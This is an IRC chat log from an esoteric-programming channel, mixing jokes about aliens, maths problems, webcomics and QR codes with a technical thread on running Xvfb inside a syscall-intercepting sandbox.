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02:47:41 <hagb4rd> there is kind of an alien life form right here in my fridge. it might be too late they already demand the equality and voting right
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02:48:43 <Jafet> You left something in your fridge for twenty-one years?
02:49:06 <hagb4rd> it might have been there before time even started!
02:49:21 <shachaf> Jafet: You can demand those things at any age.
02:49:51 <Jafet> Yes, but if they're not old enough, you can just tell them off and ground them.
02:50:34 <zzo38> Is there anything in your refrigerator capable to demand equality and voting right?
02:51:20 <hagb4rd> there is evidence of an uprising species
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02:58:29 <hagb4rd> respecting the main directive of the federal starfleet, i did not mean to disturb their evolution till they invent their first warp drive
02:58:34 -!- Friendship has set topic: Is there anything in YOUR refrigerator capable to demand equality and voting right? | http://codu.org/logs/_esoteric/ | http://esolangs.org/ has moved servers! Fuck you!.
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03:02:00 <hagb4rd> or at least find a solution for the rieman hypothesis
03:03:54 <oerjan> hagb4rd: what's wrong with fermat's theorem, really? HI ALIENS DO YOU HEAR ME WE SOLVED FERMAT'S LAST THEOREM
03:04:19 <oerjan> also the classification of finite simple groups.
03:05:25 <Jafet> A classification of finite simple groups won't fit in his fridge
03:06:01 <hagb4rd> to be honest, i found this nice shot of a captcha that might be difficult to solve -> http://oi32.tinypic.com/2co0ehh.jpg ..just in case you do not already know it
03:06:06 <MDude> Well that's just another reason to want to spead out of it, thne.
03:07:14 <oerjan> i have this nice solution but it's too small to fit in the answering form
03:07:34 <oerjan> i guess small it is, then.
03:08:41 <Jafet> Did you try to enter it in the password field
03:09:22 <Jafet> On that matter, password fields are so marginalizing
03:09:55 <Jafet> Some of them won't accept a SHA-1 digest because it doesn't contain punctuation marks
03:10:30 <zzo38> Then punctuate the SHA-1 digest.
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03:26:01 <MDude> http://www.youtube.com/watch?v=jnVoKSf021k
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03:40:14 <Sgeo_> I wonder what PSOX would be like in Common Lisp
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03:44:46 <kallisti> guards, dynamically dispatch this putrid finger tree!
05:04:00 <hagb4rd> "There was Eru, the One, who in Arda is called Ilúvatar; and he made first the Ainur, the Holy Ones, that were the offspring of his thought, and they were with him before aught else was made. And he spoke to them, propounding to them themes of music; and they sang before him, and he was glad."
05:04:02 <hagb4rd> ~ * ~ http://www.youtube.com/watch?v=a5XMewJR3k0&fmt=18 ~ * ~
05:04:57 * oerjan pelts hagb4rd with lembas
05:06:25 <oerjan> `quote [a]is523>.*obscure.*obscure
05:06:51 <oerjan> `quote [a]is523>.*inside.*obscure
05:07:05 <oerjan> `log [a]is523>.*inside.*obscure
05:07:46 <oerjan> `log [a]is523>.*obscure.*obscure
05:08:38 <oerjan> `log [a]is523.*obscure
05:08:46 <HackEgo> 2011-07-22.txt:20:14:13: <ais523> probably a really obscure method involving libraries
05:08:51 <oerjan> `log [a]is523.*obscure
05:08:59 <HackEgo> 2009-03-03.txt:16:09:09: <ehird> ais523_: ## is not obscure!!
05:09:05 <oerjan> `pastelog [a]is523.*obscure
05:09:16 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.17281
05:09:24 <oerjan> i guess he must have used more obscure words
05:10:28 <oerjan> `log [a]is523.*reference.*obscure
05:10:37 <HackEgo> 2011-12-01.txt:21:31:28: <ais523> (on another note, I love the way that the standard way to indicate that you get a reference is to make a different obscure reference to the same thing)
05:11:50 <oerjan> that was a bit too much work.
05:20:28 <hagb4rd> somehow like in c.g.jungs synchronicity <- http://en.wikipedia.org/wiki/Synchronicity
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05:27:07 <MDude> hagb4rd: That's a good music thing, but the mp3bounce site linked too seems to be a stupid spam type web page?
05:27:43 * oerjan knows about synchronicity but doesn't see how that applies here
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05:28:18 <oerjan> well you're just saying it's analogous i guess
05:28:22 <hagb4rd> mdude.. the site isn't anymore sorry
05:30:07 <kallisti> where do I go to tell linux not to start a particular daemon?
05:30:35 <kallisti> I see etc/rc<n>.d directories but I'm afraid to touch them.
05:30:42 <hagb4rd> oerjan: thats what actually happend reflecting on the hard earn quote.. sorry for the eventually missing causality :p
05:30:44 <MDude> At least the filler page is more creative than jsut naother "what you need, when you need it" list.
05:32:16 <oerjan> hey it _is_ an acausal principle.
05:33:30 <hagb4rd> but we don't know for sure yet
05:41:37 <hagb4rd> mdude: if you liked this, make sure you find the time to check out the music of 'apparat'..and the cooperative work of modeselektor and apparat -> _moderat_
05:43:21 <hagb4rd> here one last track: http://www.youtube.com/watch?v=-R6SV-4bd-0&fmt=18
05:43:45 <hagb4rd> from the amazing album: shitkatapult
05:53:39 <MDude> It's alright, but didn't really hold my attention as well as the other one.
05:54:16 <MDude> I'll take a look at this stuff when I'm less falling asleep.
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06:06:16 <kallisti> so... now emacs is basically the only thing I use that looks really really ugly in xmonad
06:06:19 <kallisti> everything else looks pretty nice.
06:06:33 <kallisti> libreoffice is kind of mediocre.
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08:07:07 <Sgeo_> Phantom_Hoover, kallisti monqy UPDATE
08:08:25 <Sgeo_> And Homestuck is on PUASE
08:09:16 <oerjan> it had to get stuck eventually
08:11:12 <Sgeo_> http://mspandrew.tumblr.com/post/18716755896/puase
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12:01:22 <Phantom_Hoover> Wow, I didn't realise that it's been three weeks since the last Prequel update.
12:07:52 <Phantom_Hoover> Still, Kazerad does say in the comments that he should move onto a more rapid update schedule.
12:08:05 <Phantom_Hoover> And no matter what, it's still better than Dresden Codak.
12:11:05 <Slereah> Dresden Codak suffers from the Webcomic Disease
12:11:20 <Slereah> Going from a quirky humorous webcomic to a dark and gritty tragic one
12:11:42 <Phantom_Hoover> Which is in turn just a symptom of Pretentious Creator Disease.
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12:22:43 <fizzie> Perhaps it's the "lite" version of endless torment.
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14:06:33 <Taneb> Could "11" be considered a BCT Truth-machine?
14:06:59 <Phantom_Hoover> Taneb, elliott says sorry, also that it's like being force-fed chocolate so it doesn't count for Lent.
14:08:01 <Taneb> @tell elliott It's okay, I didn't click the link. But then DMM got me instead. Graaah!
14:08:39 <Taneb> But 11 will add a one to the data string if it starts with 1, otherwise leave it be.
14:08:48 <Phantom_Hoover> Of all the people who could be more dickish than elliott, DMM is... not the one I'd think of.
14:09:16 <Taneb> He disguised the link as an annotation to Darths and Droids.
14:09:24 <Taneb> So it could be any of the Comic Irregulars...
14:12:15 <Taneb> But yeah... my original question...
14:12:22 <Taneb> Could it be considered a Truth-machine?
14:12:30 <Phantom_Hoover> So in other words you're on your guard for URL shortener links and server-side redirections, but not a plain link to Wikipedia in an annotation written by people who constantly link to WP?
14:12:51 <Taneb> I clicked it automatically!
14:13:09 <Taneb> And didn't realize until I was half way through the page!
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15:53:41 <elliott> http://esolangs.org/w/index.php?title=Talk:Basic_Input/Output_Commander&diff=30876&oldid=30856
15:53:41 <lambdabot> elliott: You have 1 new message. '/msg lambdabot @messages' to read it.
15:53:59 <elliott> http://esolangs.org/w/index.php?title=Talk:Basic_Input/Output_Commander&diff=next&oldid=30876
16:04:08 <elliott> // TODO: add support for [ and ]
16:18:11 <elliott> "It's worth noting that no useful language can remove all undefined behaviour; Gödel's Incompleteness Theorem, and its applications to computer science, tell us that in general you can't determine whether a method will complete, or whether a program can run indefinitely without running out of resources."
16:18:46 <elliott> This is the absolute height of Gödel-Turing software engineer woo.
16:19:15 -!- elliott has set topic: It's worth noting that no useful language can remove all undefined behaviour; Gödel's Incompleteness Theorem, and its applications to computer science, tell us that in general you can't determine whether a method will complete, or whether a program can run indefinitely without running out of resources. | http://codu.org/logs/_esoteric/ | http://esolangs.org/ has moved servers!.
16:20:18 <elliott> WHY IS NOBODY OBJECTING TO THAT SENTENCE IN THE COMEMNTS
16:20:43 <elliott> 23:29:47: <ais523> bleh, why doesn't tab-complete work in mkdir for the name of the new directory
16:21:43 <elliott> 00:29:51: <oerjan> wait, what _was_ gosc again.
16:22:08 <elliott> @tell oerjan gosc is the compiler ais523 talks about a lot from idealised ALGOL (with lambdas) to VHDL
16:23:01 <elliott> 02:18:19: <Sgeo_> This C API has sort of an implicit global variable. If I replace that with a CL global variable, I think that's actually thread-safer, because each thread maintains its own copy of the variable?
16:23:05 <elliott> Sgeo_: Common Lisp does not have threads.
16:25:10 <olsner> one thread, one variable - then each thread has its own copy of the global variable :)
16:26:25 <olsner> probably the only way to write actually thread-safe code
16:28:17 <elliott> 03:03:54: <oerjan> hagb4rd: what's wrong with fermat's theorem, really? HI ALIENS DO YOU HEAR ME WE SOLVED FERMAT'S LAST THEOREM
16:28:18 <elliott> 03:04:19: <oerjan> also the classification of finite simple groups.
16:28:42 <elliott> yes, only Goldbach, Collatz, Riemann and [REDACTED] to go before the aliens consider us intelligent enough to make contact
16:29:21 <Jafet> I accomplish thread safety with loops and strings
16:29:37 <olsner> is it likely that another intelligent species would discover and solve these problems in the same order as us?
16:30:09 <elliott> olsner: who said anything about order?
16:30:38 <elliott> they're well-known among the intergalactic community as the most basic level of mathematical problems
16:30:45 <elliott> almost all species solve them within 10 years of starting out
16:30:52 <olsner> i.e., why would they care about goldbach, collatz and riemann, when they might not even know that those are problems worth solving yet
16:30:59 <elliott> 05:20:28: <hagb4rd> somehow like in c.g.jungs synchronicity <- http://en.wikipedia.org/wiki/Synchronicity
16:31:00 <elliott> http://upload.wikimedia.org/wikipedia/commons/e/e2/Sch%C3%A9ma_synchronicit%C3%A9_in_English.png
16:31:23 <Jafet> I think they'd be pretty disappointed to find that we have made nearly no progress in the n-body problem.
16:31:27 <elliott> olsner: of course they're not worth solving, it's like requiring that the species you contact can spell the alphabet
16:31:49 <elliott> you see, once we solve those another civilisation will adopt us for the next few billion years
16:31:57 <elliott> until we start actually being useful
16:32:26 <Jafet> Or that we don't actually use one language yet
16:32:48 <elliott> Jafet: We should really be on the zero language stage by now.
16:33:11 <Jafet> We probably were, up till a few thousand years ago
16:33:35 <elliott> Jafet: No, we grunted and stuff then! That's totally a language.
16:33:48 <Jafet> Telepathy sounds like it would have weird societal impli- you pig!
16:34:53 <elliott> Telepathy??? I don't think you understand, we're meant to start hating each other and stop communicating entirely.
16:34:57 <elliott> This is the Way of the Species.
16:38:09 <Friendship> Hm, who /topic'd this topic and how true/actually-makes-sense-at-all is it intended to be >_> <_<
16:39:19 <myndzi> ** set by elliott!~elliott@unaffiliated/elliott (Sun Mar 04 08:17:22 2012)
16:39:28 -!- Jafet has set topic: Soup of the Day: Word Salad. | http://codu.org/logs/_esoteric/ | http://esolangs.org/ has moved servers!.
16:39:36 <elliott> Friendship: <elliott> "It's worth noting that no useful language can remove all undefined behaviour; Gödel's Incompleteness Theorem, and its applications to computer science, tell us that in general you can't determine whether a method will complete, or whether a program can run indefinitely without running out of resources."
16:39:36 <elliott> <elliott> This is the absolute height of Gödel-Turing software engineer woo.
16:39:42 <elliott> Jafet: NO. It must stay. As a monument.
16:39:45 <elliott> I only set it like half an hour ago!
16:39:50 -!- elliott has set topic: It's worth noting that no useful language can remove all undefined behaviour; Gödel's Incompleteness Theorem, and its applications to computer science, tell us that in general you can't determine whether a method will complete, or whether a program can run indefinitely without running out of resources. | http://codu.org/logs/_esoteric/ | http://esolangs.org/ has moved servers!.
16:39:56 <elliott> It must fuel my hatred for humanity.
16:40:19 <Friendship> elliott: I like the conflation of "well-defined" and ... whatever the hell he's talking about, to which I can't even assign a word ...
16:40:37 <elliott> Friendship: Anyway, it clearly makes perfect sense; since the incompleteness theorem is true, it's equivalent to the Halting problem, which proves that you can't determine whether a method will complete, or whether a program can run indefinitely without running out of resources.
16:40:54 <elliott> Friendship: This is the same thing as undefined behaviour because [IRC message too small to contain proof].
16:40:55 <myndzi> ok let's change the subject
16:41:03 <myndzi> has anyone ever been so far as to...
16:41:26 <elliott> Friendship: This was in the context to a rebuttal of the C++ FQA, btw.
16:41:39 <elliott> Friendship: Objecting to the complaint that C++ has no runtime safety.
16:42:26 <elliott> Friendship: I assume this means that there's some diabolical Gödel Python program that inherently causes segfaults.
16:42:39 <elliott> On ANY implementation. Even if you implement it in the lambda calculus.
16:43:10 <Friendship> elliott: Also, in the best traditions of "undefined behavior", the lambda calculus can launch the nukes.
16:43:15 <elliott> Jafet: Why would you fuse your seatbelts?
16:43:42 <elliott> Friendship: Causing serious international side-effects.
16:43:51 <olsner> seatbelt fusion, it's the dog's bollocks
16:44:07 <elliott> (It's an SPJ quote, everybody clap in unison.)
16:44:15 * elliott sounds the SPJ quote alarm.
16:44:23 <olsner> everybody clap in comic sans
17:05:55 <Phantom_Hoover> <elliott> Friendship: I assume this means that there's some diabolical Gdel Python program that inherently causes segfaults.
17:06:20 <Phantom_Hoover> You'd think there was, given the way Hofstadter portrays it.
17:13:04 <olsner> well, how hard can it be to find a bug in Python?
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18:06:45 <fizzie> It's even shorter than the book.
18:09:05 <fizzie> The LOTR book, I mean.
18:09:56 <elliott> Phantom_Hoover: Wasn't it a webcomic?
18:10:38 <fizzie> That's possibly a subclass of "book". I mean, it has pages.
18:11:15 <fizzie> (Virtual memory systems are books too.)
18:11:41 <elliott> fizzie: So by the Liskov substitution principle, you can read virtual memory systems.
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18:20:04 <elliott> "Well sorry the version that was on the link is not the same I was actually working on, I pushed the current version on github and that gets me the error displayed before."
18:20:18 <elliott> Hey Phantom_Hoover, can you help me fix a problem with my code? Here's some other code to help you.
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19:09:20 * ais523 sees no need to continue the pattern
19:21:24 <ais523> I think I fixed the permissions problem in Web of Lies, anyway
19:21:43 <ais523> by soft-dropping permissions, and temporarily undropping them in the offending bit of code
19:22:02 <ais523> it's not /quite/ as secure, but the only bit that soft-drops is the control process, the other two still hard-drop
19:22:45 <ais523> should be secure against non-malicious accidents; it just increases the attack surface somewhat for people trying to exploit suid weboflies, or whatever, and who'd be mad enough to suid it?
19:26:40 <ais523> elliott: tempt you into what?
19:27:07 <Phantom_Hoover> I was attempting to imply that DMotR was the well-known book; I failed.
19:32:47 <ais523> what I really need to do is get X working inside it
19:33:01 <ais523> perhaps I could trick X into thinking it's root; I wonder what would go wrong then
19:34:00 <ais523> is there any way I can get X to just use the framebuffer for rendering?
19:34:04 <elliott> ais523: X tries to talk to the graphics hardware, so...
19:34:13 <elliott> which is part of X.org nowadays
19:34:15 <elliott> it's a configure-time option
19:34:25 <elliott> ais523: there's also Xephyr
19:34:28 <elliott> which runs an X server as an X window
19:34:32 <elliott> and you probably already have it
19:34:56 <ais523> hmm, those both seem reasonable
19:35:02 <elliott> ais523: wait, Xvfb doesn't seem to be KDrive
19:35:11 <elliott> ais523: search your distro for a package
19:35:19 <ais523> one step ahead of you there :)
19:36:07 <ais523> even better, I can't think of any reasonable reason for xvfb to need root
19:36:14 <ais523> that doesn't mean it won't, ofc
19:36:29 <elliott> well, it'll try to write to the framebuffer
19:36:33 <elliott> which is usually owned by root :)
19:36:57 <olsner> xvfb creates its own framebuffer, owned presumably by the user who started xvfb
19:37:11 <fizzie> Virtual framebuffer. It's all in memory.
19:37:19 <elliott> well, doesn't X have a normal framebuffer background too?
19:37:31 <olsner> virtual framebuffer, it doesn't actually exist at all
19:37:44 <elliott> ais523: you could VNC into Xvfb or something, anyway :P
19:37:56 <olsner> yeah, x11vnc into xvfb works
19:38:08 <ais523> olsner: it's what Wikipedia recommends
19:38:09 <fizzie> Xvnc would work equally well. :p
19:38:27 <ais523> it also suggests using a screenshot program inside xvfb to get at the screen
19:38:40 * elliott 's distro doesn't have a package for Xvnc
19:38:50 <fizzie> There is a regular framebuffer graphics driver top, though. No idea about it's non-rootability.
19:38:55 <elliott> but yes, Xvfb works as a user, I've used it
19:39:08 <olsner> might still be suid root
19:39:20 <olsner> (haven't checked if it is or not)
19:39:31 <fizzie> "Xvnc" is what I think is a X server in the vncserver package.
19:40:53 <ais523> ooh, xvfb has a command-line option to memory-map its framebuffer into a file
19:41:04 <ais523> that's exactly what I was doing with the fake framebuffer in weboflies anyway
19:41:07 <elliott> ais523: VNC sounds like less work :P
19:41:14 <ais523> so the two graphics methods should be swappable trivially
19:41:33 <ais523> elliott: using one command-line option to reduce it to a problem I've already solved is more work than VNC?
19:41:44 <fizzie> "vnc4server" is one name; and "tightvncserver".
19:41:48 <elliott> but I bet you haven't completely solved the problem yes :)
19:41:56 <elliott> fizzie: ah, there's a tightvnc package
19:42:03 <ais523> elliott: well, the specific problem that VNC would solve
19:42:13 <ais523> not the whole thing, obviously
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19:42:26 <elliott> ais523: I mean, I bet the file has a different format, etc.
19:42:28 <elliott> ais523: anyway, if this saga doesn't end with you running KDE in it, you've failed
19:43:00 <Phantom_Hoover> elliott, dammit, I just remembered the Thing That Must Not Be Spoken Of About PA.
19:43:08 <elliott> ais523: well... it was still more of a hog than Gnome as of a short while ago
19:43:50 <fizzie> ais523: Someone claims that Xorg with the fbdev graphics driver is doable as non-root assuming it can access all the necessary dev nodes: http://lists.debian.org/debian-x/2010/09/msg00091.html
19:44:16 <ais523> fizzie: thanks; that's my fallback position if I can't get xvfb to work
19:44:44 <ais523> (the /dev nodes don't actually exist, but I'm faking them by intercepting system calls involving them, so I can choose permissions arbitrarily
19:44:53 <elliott> that sounds like less work than Xvfb to me :p
19:45:48 <ais523> elliott: well, it's how I got /dev/fb working
19:45:53 <ais523> it was quite a bit of work
19:46:01 <ais523> fun fact: quite a few games actually run without X, using the framebuffer
19:46:07 <ais523> but you typically get a bunch of graphical glitches
19:46:23 <ais523> I suspect the hard part's actually going to be emulating socketcall, IIRC X uses sockets to work
19:46:29 <elliott> ais523: right, I just meant you wouldn't have to change your code at all
19:47:02 <ais523> and hmm, right, I wouldn't have to change it, apart from loading X somehow
19:47:09 <fizzie> If you do have a framebuffer already handy, X+fbdev sounds reasonable.
19:47:40 <fizzie> I don't quite know how Xvfb usually does input; or do you have a fake mouse already?
19:47:43 <ais523> the framebuffer itself works fine; it's actually the keyboard I have the most trouble with, as I can't figure out what format it's in
19:47:47 <elliott> anyway, I don't see why weboflies couldn't just pretend to the running program that it's root
19:47:51 <ais523> I was working on a fake mouse at the time
19:48:08 <ais523> elliott: it can, that's what I was going to do if I couldn't get X working as non-root
19:48:22 <ais523> but permissions checks are all over the place in syscalls, it'd take a bunch of work to fake comprehensively
19:48:27 <ais523> and it'd also mean figuring out what process X was
19:48:34 <elliott> ais523: well, there's no problem to keep the checks around
19:48:47 <elliott> as long as the program never actually /needs/ its root powers, you just need to make get* tell it it's root
19:48:53 <elliott> so that its sanity-checks for being root pass
19:49:06 <fizzie> X can use /dev/input/eventN with the "evdev" format for both keyboard and mouse, that's probably the most... "orthogonal" format to do input in.
19:49:08 <ais523> I think the sanity checks are probably actually in startx
19:49:30 <ais523> what's the most common $DISPLAY value? :0.0?
19:49:52 <elliott> but :0.0 is the same i think
19:49:55 <ais523> $ sudo ./weboflies ls /dev/input
19:49:57 -!- MoALTz has quit (Quit: brb).
19:50:00 <ais523> + pty output: mice\x0d\x0a
19:50:52 <elliott> oh, that \r\n isn't part of the filename
19:50:58 <elliott> I assumed you had some internal counter severely fucked up
19:51:02 <ais523> $ sudo ./weboflies Xvfb :1
19:51:12 <ais523> + pty output: _XSERVTransmkdir: ERROR: euid != 0,directory /tmp/.X11-unix will not be created.\x0d\x0a
19:51:19 <ais523> I wonder why it wanted to be root?
19:51:29 <elliott> to create the directory /tmp/.X11-unix?
19:51:43 <ais523> but why would it want to be root to do that?
19:51:49 <elliott> to create the directory /tmp/.X11-unix
19:51:59 <elliott> ais523: that's the socket, it seems
19:52:18 <ais523> that explains why it'd want to be root for /that/
19:52:19 <elliott> maybe it sets options on that socket that only root can set?
19:52:30 <elliott> well, that doesn't explain it fully if you ask me :)
19:52:32 <fizzie> The eventN interface is I think the nicest of them, since it's all keyboards and mice and sticks unified, and you get the events in quasi-sensible structures instead of some silly protocols, like intellimouse-faked PS/2 or whatever.
19:52:35 <olsner> maybe disable unix-socket stuff and make it listen on TCP instead?
19:52:55 <ais523> yep, there's a lot of "WARNING: Unknown syscall 102" there
19:53:00 <elliott> evdev is the conventional thing nowadays methinks
19:53:05 <elliott> at least I believe my keyboard and mouse are through evdev
19:53:09 <ais523> and then a couple of "unexpected signal 11"
19:53:19 <elliott> olsner: I don't think ais523 has TCP either
19:53:27 <elliott> but yes, using a high TCP port would avoid the root requirement, perhaps
19:53:35 <ais523> olsner: TCP and unix-socket go through the same syscall, which I haven't implemented
19:53:59 <ais523> elliott: I know, I have a text file of syscals
19:54:04 <olsner> ais523: oh, I think you need to implement that syscall then :>
19:54:08 <ais523> together with timing properties, and why they have or haven't been implemented
19:54:24 <ais523> the problem is, it's mostly undocumented
19:54:33 <fizzie> There's nothing *inherently* root-requiring when it comes to Unix sockets, though.
19:55:00 <fizzie> ais523: You should be doing this on a BSD, they don't mux all socket stuff through a single syscall.
19:55:11 <elliott> ais523: why not just forward socketcall without processing to test it?
19:55:16 <elliott> and then make it secure when you know it works
19:55:18 <ais523> the man page says it's the syscall that implements accept, bind, connect, getpeername, getsockname, getsockopt, listen, recv, recvfrom, recvmsg, send, sendmsg, sendto, setsockopt, shutdown, socket, socketpair
19:55:32 <ais523> elliott: that's what weboflies does do on unknown syscalls
19:55:38 <ais523> but apparently it makes xvfb segfault
19:55:56 <fizzie> ais523: I've heard the Linux source code has been leaked, maybe you could sneak a peek.
19:55:57 <ais523> (actually, the segfault's probably unrelated, it's probably assuming something that isn't actually true)
19:56:18 <ais523> fizzie: I have also dived into kernel source quite a bit for figuring out this sort of thing
19:56:24 <ais523> but I can hardly do that in a few minutes while eating dinner
19:56:26 <elliott> <ais523> elliott: that's what weboflies does do on unknown syscalls
19:56:31 <elliott> ais523: err, it clearly doesn't forward 102
19:56:39 <elliott> given "WARNING: Unknown syscall 102"?
19:56:45 <ais523> it warns and then forwards
19:56:53 <elliott> maybe the warning is breaking it :)
19:56:53 <ais523> the warning means it's being forwarded without knowing the implications
19:59:03 <ais523> I doubt it, it's being printed to stdout of the host process, which isn't part of the anonymous fs at all
20:00:31 -!- Phantom_Hoover has quit (Ping timeout: 276 seconds).
20:06:44 <ais523> ais523@desert:~/weboflies$ ln -s Xvfb_screen0 /tmp/Xvfb_screen0.xwd
20:06:45 <ais523> ais523@desert:~/weboflies$ convert /tmp/Xvfb_screen0.xwd /tmp/t.png
20:06:47 <ais523> ais523@desert:~/weboflies$ eog /tmp/t.png
20:06:57 <ais523> so Xvfb is definitely working outside weboflies
20:08:16 <elliott> ais523: what does t.png look like?
20:08:36 <ais523> a black screen with an xterm in the top-left corner
20:08:50 <ais523> there were meant to be two of them, but I hadn't started a window manager
20:08:58 <ais523> so I guess they overlapped exactly
20:09:09 <elliott> http://wtfqrcodes.com/post/18730127220/my-throat-hurts-from-sighing-the-hardest-ive-ever
20:16:52 <olsner> in hindsight, they should've thought about that kind of error when designing the qr code
20:19:54 <elliott> In hindsight, they should not have designed the QR code.
20:21:59 <elliott> Because it's useless and stupid?
20:22:45 <olsner> it's a way to distribute URL:s across the "real world" that is much more convenient than typing the url yourself
20:23:27 <elliott> For values of "convenient" equal to "highly dependent on lighting conditions and position".
20:23:57 <elliott> Also, they're hideous, and much bigger than simply, e.g. buying a domain name and putting it on whatever it is you're putting it on.
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20:24:07 <elliott> Also, nobody actually scans them.
20:24:30 <Friendship> Also, the people who make them don't know how and do it wrong, and the people who scan them are disappointed 140% of the time.
20:24:52 <Friendship> I remember some company putting a QR code on a T-shirt, except it was white-on-black so it didn't actually work.
20:25:00 <elliott> Also this site has screenshots of WEBSITES AND EMAILS with QR codes in them, and at that point I think we just have to go back in time and stop that ever happening.
20:25:23 <elliott> "FINALLY they've invented something which lets you go from websites to OTHER WEBSITES!"
20:26:42 <olsner> "The moment we've all been waiting for!"
20:27:16 <Friendship> QR codes that least to gopher pages: Best idea?
20:28:00 <Friendship> QR codes that least to lmgtfy.com: Best idea?
20:29:14 <elliott> <Friendship> QR codes that least to gopher pages: Best idea?
20:29:18 <elliott> Friendship: Shhh! zzo38 is online!
20:29:59 <elliott> http://tomkingaerial.files.wordpress.com/2011/05/airplane-towing-qr-code.jpg
20:30:16 <elliott> I rate the probability of anyone having successfully scanned this as -1.
20:30:47 <zzo38> You can make QR codes of whatever you want; they can be URLs of any URI scheme; but they do not even have to be a URL at all.
20:31:02 <pikhq> Yeah, QR codes can be arbitrary data...
20:31:11 <pikhq> That said, they're really nothing *special*.
20:31:17 <elliott> Yes, I'm sure people use non-URL QR codes all the time.
20:31:29 <elliott> Just to make them even more bewildering.
20:31:31 <elliott> God, the same moron who wrote that Haskell-vs-Python article is on proggit again.
20:31:34 <pikhq> elliott: I've not seen it in *common* use.
20:31:53 <pikhq> e.g. "Print out QR codes for hardcopy backup"
20:32:54 <pikhq> And you're a god-damned idiot if you put a QR code on a website.
20:33:02 <zzo38> "Print out QR codes for hardcopy backup" is actually something I have thought of too; possibly even to send data by postal mail you can use this
20:33:16 <pikhq> zzo38: Slightly silly and inefficient, but yeah, works just fine.
20:33:35 <pikhq> A gig would be a nice set of shelving.
20:33:38 <elliott> http://ollydbg.de/Paperbak/
20:33:46 <elliott> Wayyy more compact than QR code, I would assume.
20:34:31 <zzo38> Possibly the program to print out HTML documents could have an option to either print out URLs linked to as text, or as QR codes, or both
20:34:46 <olsner> just remember not to use it for piracy or for government criticism, because all pages you print are watermarked by the printer
20:35:02 <Friendship> I can't find an Android gopher client :(
20:35:13 <elliott> olsner: Isn't that US-only?
20:35:21 <pikhq> The QR code backup scheme I've seen is ~24k per page. Which is much less efficient than PaperBak.
20:35:32 <pikhq> elliott: Not really.
20:35:45 <pikhq> olsner: Only on color printers.
20:35:48 <olsner> I assume it goes for all models of printers that are sold in the US, why would they spend money removing that feature from the rest of the world?
20:36:00 <olsner> right, only printers that can print fake money
20:36:19 <pikhq> Even though you're not going to pull off convincing fakes with a color printer anyways...
20:36:32 <olsner> ... but the FAKE MONEY
20:36:38 <zzo38> Friendship: It is not on the Android Market, but it does exist.
20:37:09 <elliott> <olsner> I assume it goes for all models of printers that are sold in the US, why would they spend money removing that feature from the rest of the world?
20:37:20 <elliott> the EU is rather stricter about that stuff than the US in general, I would say
20:37:34 <elliott> "EU: Secret printer watermarks may violate human rights"
20:37:42 <elliott> EU: Secret printer watermarks may violate human rights
20:37:48 <elliott> http://arstechnica.com/security/news/2008/02/eu-commissioner-printer-tracking-may-be-human-rights-violation.ars
20:38:04 <olsner> they they ever go somewhere with that though?
20:38:09 <elliott> oh, https://www.eff.org/deeplinks/2008/02/eu-printer-tracking-dots-may-violate-human-rights is the source
20:38:10 <pikhq> Sorry, I think I meant 2.4k?
20:38:20 <zzo38> I think secret printer watermarks are only on color printers as far as I know? Still, you should turn them off (it should be a physical switch)
20:39:05 <pikhq> zzo38: Given that they work by printing yellow-on-white, I don't think they could work otherwise.
20:39:58 <fizzie> Can't say I've ever really had any lighting-or-angle-or-whatever problems actually scanning a QR code; admittedly my sample set is not very large.
20:40:26 <olsner> depends on how feasible it is to sprinkle some black dots here and there, but I guess that would be too noticable
20:41:30 <zzo38> Can PaperBack codes be faxed? I am just curious.
20:42:25 <zzo38> Tracking codes on printouts might sometimes be useful; but it should be off by default and only enabled when specifically enabled by the user. If you don't want to install such a switch, make them off all the time and have no tracking codes at all, is better.
20:42:37 <elliott> I suspect fax machines have a more limited resolution than the printers it's designed for... but I may be wrong.
20:42:47 <fizzie> Presumably, if the "dot density" drop-down goes low enough.
20:42:59 <elliott> But yes, you could always just dial down the density.
20:43:06 <olsner> looks like you can select the dpi in paperback, so just set that below whatever resolution fax has
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20:43:40 <fizzie> olsner: It's a drop-down box, not a combo-editbox-whatever.
20:43:46 <zzo38> (Of course, tracking dots are never useful if the user cannot decode it themself)
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20:45:28 <Friendship> http://qkies.de/ Best worst idea in history.
20:45:37 <fizzie> 200 dpi is mentioned in the text, which sounds slightly optimistic for fax.
20:46:24 <elliott> Friendship: OK, who says we buy a batch linking to $shocksite and give them out in public?
20:46:30 <elliott> Problem 1: Nobody will scan them.
20:46:59 <Friendship> Problem 2: Almost assuredly they taste like sandpaper and dextrose.
20:47:08 <fizzie> I scan most QR codes I encounter, situation permitting.
20:47:40 <fizzie> Normally they're just boring URLs that I don't bother following, though.
20:47:51 <fizzie> I keep hoping maybe there'll be a surprise.
20:51:22 <Phantom_Hoover> <Friendship> Problem 2: Almost assuredly they taste like sandpaper and dextrose.
20:51:45 <Phantom_Hoover> Also we've established that you are not allowed to make judgements on what things taste like.
20:53:40 <Friendship> Phantom_Hoover: Dextrose is the solid name for glucose.
20:54:20 <Phantom_Hoover> That makes ~no sense, especially since I suspect it's the d-enantiomer.
20:54:54 <Friendship> What's the unicode character people use for fake censorship?
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20:55:39 <fizzie> I've seen just the regular full block been used.
20:55:41 <fungot> ████████████████████████████████████████████████████████████ ...too much output!
20:56:05 <olsner> hmm, "qkies", that's approximately cockies in swedish
21:00:29 <elliott> Friendship: It's U+[DATA EXPUNGED].
21:10:59 <Friendship> Is there a space block of the same width >_>
21:12:46 <Sgeo_> You could always just look on the SCP wiki
21:13:27 <Friendship> Welp, that was all wasted effort since my amazing plan doesn't actually work :(
21:14:27 <olsner> oh, SCP, I love that place
21:17:01 <elliott> olsner: I referenced SCP before Sgeo_ :'(
21:17:42 <Friendship> So anyway, imagine this spam works then be amazed by my ingenuity:
21:18:22 <elliott> fizzie: You know what to do.
21:18:35 <elliott> Someone screenshot that and try and use one of the online scanners :P
21:18:36 <pikhq> Friendship: So close.
21:18:58 <elliott> fizzie: Except you'll have to invert it >_>
21:19:01 <elliott> Friendship: I don't see why that wouldn't work with correctly-sized fonts
21:19:15 <Friendship> elliott: Does it show breaks in between lines for you?
21:19:24 <Sgeo_> "Enjoy being locked in your matrix of solidity."
21:19:28 <ais523> Friendship: the spaces are two narrow for me
21:19:32 <Sgeo_> It worked when I turned my phone on its side
21:20:09 <elliott> Friendship: Well, yeah, but lots of terminals don't have those.
21:20:58 <Sgeo_> I can't seem to replicate getting it
21:21:39 <elliott> Friendship: How did you convert that?
